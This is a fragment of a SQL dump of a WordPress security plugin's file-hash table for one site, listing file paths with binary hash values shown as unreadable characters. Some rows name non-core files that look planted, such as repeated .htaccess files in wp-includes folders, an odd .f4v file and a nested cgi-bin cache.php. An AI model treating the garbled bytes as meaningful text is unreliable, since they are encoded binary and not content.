('ZяݒS','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l\Z^ZHG%O','mc;\ny㐲0,5F|=C','',0,'?'),
('Z.n^/Ӄ\"*T','wp-includes/blocks/math/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k~댵kRtW|','`C>Iԉg&}M\\<#\n','',0,'?'),
('Z %/Zz9','wp-admin/includes/taxonomy.php','/home/trevorkl/trevorklee.com/wp-admin/includes/taxonomy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-lw7A','$2%\r\rKE|H>	','',0,'?'),
('Z\0Y æfg','wp-includes/js/crop/marqueeVert.gif','/home/trevorkl/trevorklee.com/wp-includes/js/crop/marqueeVert.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\09R','Kcg$e2\\p$1z`CkJ','',0,'?'),
('Z 2=^b(','wp-content/themes/twentytwentyfive/patterns/banner-cover-big-heading.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-cover-big-heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H~$k4v','!VuP}@8QegnJ','',0,'?'),
('Zu=70','wp-content/themes/twentytwentyone/assets/sass/03-generic/vertical-margins.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/03-generic/vertical-margins.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y	p#_','QD3gU`s^ȣG[Mѱ9rg','',0,'?'),
('Z*Է!\"E\Z@','wp-includes/blocks/pullquote/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7^,m\"-v','++(x[iALF=h5&}`z','',0,'?'),
('ZRr(&b:-','wp-includes/css/dist/format-library/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \nӔCb','Fc6X}t_Tնi-8~܁zX','',0,'?'),
('Z=ӧrc\"y','wp-includes/IXR/class-IXR-date.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-date.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IVdB+AJ?#','{~(#\Z6u,?jk2`','',0,'?'),
('[̉$\'','wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɚu\\	','cVxy(#il8L}e޷','',0,'?'),
('[\r<|vlJi ','wp-includes/js/tinymce/plugins/compat3x/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/compat3x/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('[1&D7V','wp-content/plugins/simpletoc/simpletoc-class-headline-ids.php','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/simpletoc-class-headline-ids.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|lyXSJ;\r','^|%\rY~_>sU\\x,`I>&','',0,'?'),
('[Gea\'i','wp-includes/js/jquery/ui/datepicker.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/datepicker.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':<R',':*aD֬b&W/rBpm\\5{7Vl','',0,'?'),
('[&adXm0Y','wp-content/themes/twentytwentytwo/index.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ݞdXmk_L\0W','k\\h6kK4&my0gF','',0,'?'),
('[(WcG','wp-content/plugins/wordfence/views/offboarding/deactivation-prompt.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/offboarding/deactivation-prompt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i,4Q{r<oՎR$','F<8\nqSI +yo','',0,'?'),
('[5YNhKM','wp-includes/customize/class-wp-widget-area-customize-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-widget-area-customize-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T:\'l),6P\Z','rH]yEwF/[0Z3[\"','',0,'?'),
('[9ڥjQփ;','wp-includes/SimplePie/library/SimplePie/Author.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Author.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	[v=GA2r','UF,O;7Y5V>Oڏj\r{7','',0,'?'),
('[9J=\nuE\0O\n\\P','wp-content/plugins/wordfence/modules/login-security/views/page/permission-denied.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/permission-denied.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','κ2}','[,<XYyy~EJZ?6\r~ש','',0,'?'),
('[<< Gvh','wp-admin/images/about-release-logo.svg','/home/trevorkl/trevorklee.com/wp-admin/images/about-release-logo.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','odUvϼ\"dO>',' eN3@u<5\\Zt7iL','',0,'?'),
('[#ܧ\Z>]<','wp-admin/css/colors/ectoplasm/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ectoplasm/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ԁo&t','ÅD)K޴}\nl_A2|k','',0,'?'),
('[>x;wn/tH','wp-includes/js/wp-emoji.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-emoji.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';b\Z','FW7ԩ*˾`-m|\"	','',0,'?'),
('[A0b[BG','wp-content/plugins/wordfence/images/logos/shield-free.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/logos/shield-free.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m3k#^\Z\Z+W','Lmd1a ףM\\m(#p^1M','',0,'?'),
('[Il!h3','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@Zɳ|3','_icB7H%K ','',0,'?'),
('[BX\nQc','wp-includes/blocks/file/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','˚NtHRН6','\'yu2:ue2?1dc6t	 ','',0,'?'),
('[2jV','wp-content/themes/twentytwentyfive/patterns/template-404-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-404-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AީFR?!>3','v$Vbg(ԤtF4ӡ','',0,'?'),
('[ӽ$qjg_5','wp-includes/css/dist/block-library/editor-elements.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor-elements.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vHօ<Uj+@T','VLb4dopwXK','',0,'?'),
('[qE\'a?','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts-right.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts-right.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \\#OŮ','{xLmX|^ԏĢ4#j','',0,'?'),
('[ꠏ|Koیb7','wp-admin/user/index.php','/home/trevorkl/trevorklee.com/wp-admin/user/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xCS6LC2!u','`Ky2Mplξ\"a\0אּtޡD','',0,'?'),
('\\%?>e8','wp-includes/class-wp-block-pattern-categories-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-pattern-categories-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Be|B','}%*jAu!ךJXXhv>ٸ>','',0,'?'),
('\\9','wp-admin/ms-upgrade-network.php','/home/trevorkl/trevorklee.com/wp-admin/ms-upgrade-network.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qc8E%!','	H_cQX̤ՏLsڭ','',0,'?'),
('\\1Z,+kv','wp-includes/css/dist/admin-ui/admin-ui/QxjF.f4v','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/admin-ui/QxjF.f4v',0,'7T\"1Cca26^','7T\"1Cca26^','IC[0SZ\\ʯ,Rv{j','',0,'?'),
('\\4qn7}b2)y@','wp-includes/blocks/comment-date/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[nB}\Z9>?','#$Et\'UA3Pss*3\\?V\r','',0,'?'),
('\\L}Y~la','wp-includes/blocks/gallery/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3JDFĭ~2?','kRELMX]lf,*hOI{','',0,'?'),
('\\R$GO΄y','wp-includes/css/dist/block-editor/default-editor-styles.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-editor/default-editor-styles.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(团','AoÙ#XC.ioM~0-l','',0,'?'),
('\\[i%Ͱ<e>','wp-includes/css/wp-pointer-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V6ߎQ\rĢ[','.Aڍb{:&oKړwtT','',0,'?'),
('\\m[-R\"ʣ','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U.M9\Z$6dft','=j|!7Qq\0$v^!՘\\+\r','',0,'?'),
('\\c_Et36VO','cgi-bin/cgi-bin/cache.php','/home/trevorkl/trevorklee.com/cgi-bin/cgi-bin/cache.php',0,'\\AS>~в9','\\AS>~в9','(k\Z_K<^jn(h#̢M9Ya','',0,'?'),
('\\7Qo','wp-content/plugins/wordfence/css/images/ui-icons_cc0000_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_cc0000_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|%;wQ8@','wi>6Ƭ4.NC\Z4IO','',0,'?'),
('\\т?$̈́8','wp-admin/includes/dashboard.php','/home/trevorkl/trevorklee.com/wp-admin/includes/dashboard.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hm2;iS@ʒ]','lOW`\'炟2.`\"zJ<','',0,'?'),
('\\p*\r?7VY','wp-includes/css/dist/edit-widgets/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-widgets/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\\u]A% ','wp-content/themes/twentytwenty/package.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/package.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}##%C?Zg','aޮX>>d\nzl!\rk','',0,'?'),
('\\ܯ)0','wp-content/plugins/loginizer/lib/hybridauth/Adapter/OpenID.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/OpenID.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',I;9?E','DomN1^\'ա;ڋD>0`','',0,'?'),
('\\\0>+Fb','wp-admin/revision.php','/home/trevorkl/trevorklee.com/wp-admin/revision.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2as6IQUġ','gCzsQVƢ]wq\n9챞e','',0,'?'),
('\\ֶS\nP:','wp-content/themes/twentynineteen/header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X|\05','[]ٸ^=;w8%VGuJ˞','',0,'?'),
('\\MSA\Z','wp-includes/blocks/term-template/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fYk2h0 Xn','j.:O((>I-@Gt','',0,'?'),
('\\L\rni','wp-includes/blocks/template-part/theme-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/theme-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[\Zu7 ','%F.R8c@BLHg#YS	','',0,'?'),
(']P%A9L','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreContent.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreContent.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e~\0ē;^I','bXLЖNgcOy-q','',0,'?'),
(']J*ƒXRE','wp-includes/block-supports/dimensions.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/dimensions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Uz/\Z;n\'zQF',':a.9=}`|nܽi{BWAhKL','',0,'?'),
(']jћlݥ','wp-content/plugins/wordfence/lib/wfCommonPasswords.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCommonPasswords.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n0e3DV)VE','w3)HOfM+w\\','',0,'?'),
(']W	ohIyz#','wp-content/themes/twentytwentyfive/styles/blocks/02-subtitle.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/blocks/02-subtitle.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>+R̛U','SE|3,?=[%\Z_%R','',0,'?'),
(']&A!SK>','wp-content/themes/twentytwentyone/assets/images/Reading.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/images/Reading.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2\r:Dm,','Dq>z}D:g1XsR4','',0,'?'),
('](R&!1;3','wp-includes/js/wp-ajax-response.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-ajax-response.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','T`6Gf2(&\r','\\\'֠#/%z;^Wt)F','',0,'?'),
(']5*yI)>9','wp-includes/blocks/term-template/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c]^˛v&Sj','gP-\n1÷H;K@GJeiJ*r','',0,'?'),
(']9.peT','wp-content/themes/twentynineteen/page.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/page.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'&iɴGxRl:','JÂWS\"VJZɌMڛD','',0,'?'),
('];u+F*vWj\n','wp-includes/blocks/post-author-biography/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-biography/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|,PJpb','é~\nmxyDwcC\'','',0,'?'),
(']B#2zbU/','wp-includes/Text/Diff.php','/home/trevorkl/trevorklee.com/wp-includes/Text/Diff.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_UG@8\0h','Nk=%	C\\E.ʬS(D','',0,'?'),
(']L0eE\"u ','wp-includes/js/mediaelement/mediaelement-migrate.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement-migrate.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q0blz7',';YR/(v0vsaDy','',0,'?'),
(']Q.ǣHgǏnv','wp-content/plugins/wordfence/views/scanner/text/issue-checkSpamIP.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-checkSpamIP.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sn\nqy%','jHzp5MKwlec\'(','',0,'?'),
(']SP[YVdg ','wp-includes/blocks/accordion/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(']ΰm','wp-content/themes/twentytwenty/assets/images/2020-landscape-2.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-landscape-2.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2j^!',')秐=l2^m\ruV20ژM{','',0,'?'),
(']NJjӎe','wp-includes/widgets/class-wp-widget-media.php','/home/trevorkl/trevorklee.com/wp-includes/widgets/class-wp-widget-media.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dLt<','L}Kf\\AR ŭ(si{U','',0,'?'),
(']PTkvt8A','wp-admin/network/menu.php','/home/trevorkl/trevorklee.com/wp-admin/network/menu.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';Čx9@J/','y;[>anQ!^y*^\r.},','',0,'?'),
(']*J','wp-content/plugins/wordfence/images/icons/email_go.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/email_go.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jEH).','& qC1QU_.O31!&۴','',0,'?'),
(']%:;k9vn5','wp-includes/css/dist/admin-ui/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k1k;I*',' f%ڞan7w*ں','',0,'?'),
(']\"}[YR','wp-admin/css/edit-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/edit-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rhq0ю@՛|m','10PSxMrEP\"=','',0,'?'),
(']1I.I}ڗ͋','wp-content/themes/twentytwentytwo/inc/patterns/general-two-images-text.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-two-images-text.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sg!e琲',')k7kwz_Z;FaNx','',0,'?'),
(']b|YAetjs','wp-includes/certificates/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/certificates/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(']L&[R','wp-includes/blocks/post-content/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B^{V5*M','lp[xu?æ\ZKW6dt}1W6oh`','',0,'?'),
(']4d9C<s3','wp-includes/blocks/video/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',X(yz','(PLI>.\"<2ǽ(YR3s9','',0,'?'),
(']I;/s9e','wp-content/themes/twentytwentyfive/patterns/template-page-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-page-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'D%ڋɷ;','@\rKyN|`)Lh/Q@5db','',0,'?'),
('^(\ZZeh\r','wp-content/themes/twentytwentyfive/assets/images/category-sunflowers.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-sunflowers.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʚvן8b=\ng','\\:\\r	2GVeo竹E+','',0,'?'),
('^8v]iᰄ\ZMc','wp-includes/blocks/page-list-item/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list-item/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('^9(-(Ųy 0q*','wp-admin/user/about.php','/home/trevorkl/trevorklee.com/wp-admin/user/about.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!N 93nDl','rR89<;9i1lZQoC#Y','',0,'?'),
('^@ղ{\'_92','wp-admin/upgrade-functions.php','/home/trevorkl/trevorklee.com/wp-admin/upgrade-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[a@1.QZ','tˁ9{/yg1\'uVl','',0,'?'),
('^H\0B|4@z','wp-includes/IXR/class-IXR-error.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-error.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g6\"u\\\'3b','*?ۧU=?,]0=CZ-6Dq.G','',0,'?'),
('^U.iypG','wp-includes/js/mediaelement/mediaelementplayer-legacy.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AVtFƣ','2q{Y*lX[qkd}Jp','',0,'?'),
('^q=hdZ4','wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A	b| ]X','@at|]͑[ap\"欀S\'N','',0,'?'),
('^yG=ڜFg;3á','wp-content/plugins/wordfence/images/button-grad-grey.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/button-grad-grey.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','RCTy?','DH~ϨP_{!','',0,'?'),
('^Ð+y|','wp-includes/images/crystal/spreadsheet.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/spreadsheet.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','59Т1Tn','e\rCi0[R8@GaJN','',0,'?'),
('^YKbF2TT-','wp-includes/blocks/avatar/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*(\ZIz','e2,ՔenCL]s+','',0,'?'),
('^˷fQhy˽','wp-content/themes/twentytwentytwo/styles/blue.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/blue.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gtIСغ*#3','s-_n(&E>O\r','',0,'?'),
('^27}I','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-posts/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^ь{O','vZd¥bNpz04\\\ZLIv','',0,'?'),
('^uuWdM=','wp-content/plugins/wordfence/crypto/vendor/composer/platform_check.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/platform_check.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','++\"XIR','g&,CQ麂>*H;]aE;','',0,'?'),
('^ǿ+C%Kx','wp-content/themes/twentytwentyone/template-parts/content/content.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/content/content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' ,*]1n','0CfIΰaBqG8Ou>Wþ','',0,'?'),
('^xLاq[','wp-content/themes/twentytwentyfive/patterns/template-search-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-search-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z&6M>%n{d','V`JE|y	8wx䣮t','',0,'?'),
('^^\\Q=(w','wp-includes/js/imagesloaded.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/imagesloaded.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h#vɯȒɦC','Ij+V`) P3J(\"xR`','',0,'?'),
('^JdcU+~','wp-content/plugins/wordfence/lib/wfScanFile.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}Nv$>',':<QM7٧F&g\\F]|t','',0,'?'),
('_\0d MP~D','wp-includes/revision.php','/home/trevorkl/trevorklee.com/wp-includes/revision.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D7nĠ_\rU);','pkO+0c:rUK','',0,'?'),
('_k4!*}݄ ','wp-content/plugins/wordfence/vendor/composer/ClassLoader.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/ClassLoader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"UE\"Eb;Dn','ԱrgCXJU1։Ya,1','',0,'?'),
('_KB0e?ӆ','wp-content/themes/twentytwentyfive/patterns/contact-centered-social-link.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/contact-centered-social-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OG|+\06@','N`[L]; p\'uix.G }p','',0,'?'),
('_|4X<?>eK','wp-includes/blocks/post-comments-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('_1T.h9چ.]','wp-includes/js/dist/script-modules/lazy-editor/index.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/lazy-editor/index.min.asset.php',0,'@6@٭x[','@6@٭x[','\\v~&]-iKz\0Lz','',0,'?'),
('_*⽞L0>\r','wp-includes/feed-rss2.php','/home/trevorkl/trevorklee.com/wp-includes/feed-rss2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lN+5	O?','@!`C*Mezj@	@Ljw','',0,'?'),
('_#U1pGS','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SipHash.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Zrtw(e','ҿDI<^i2dW]G_-+A8W','',0,'?'),
('_%&epǙ1','wp-content/plugins/wordfence/views/scanner/text/issue-coreUnknown.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-coreUnknown.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ips<pÙ~V','@cc6Gi+ACw^ŵ4','',0,'?'),
('_7wOP|;B','wp-includes/js/dist/script-modules/interactivity-router/full-page.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/full-page.min.asset.php',0,'SڅQ(','SڅQ(','Fv@lSY70Xrdskق','',0,'?'),
('_B\0rpIu','wp-content/themes/twentynineteen/sass/variables-site/_structure.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_structure.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O!Yr8ܗt/','=\0td\nJeܐZ<sn6t','',0,'?'),
('_Jļ?<k	Yb/\0','wp-includes/blocks/comment-author-name/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3\\IFfyLZ','=NI9\0:#$ynq','',0,'?'),
('_d1@_9,p','wp-includes/blocks/tag-cloud/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/tag-cloud/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Uʧ','D.S\Z㺾A.6+','',0,'?'),
('_j_/yӱ','wp-includes/load.php','/home/trevorkl/trevorklee.com/wp-includes/load.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"*0*95','[+V!OʊٌwƲrR?l','',0,'?'),
('_w\'JS6','wp-includes/blocks/gallery/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ދl>nqyW','ɹa߿Kۘn͓+nb','',0,'?'),
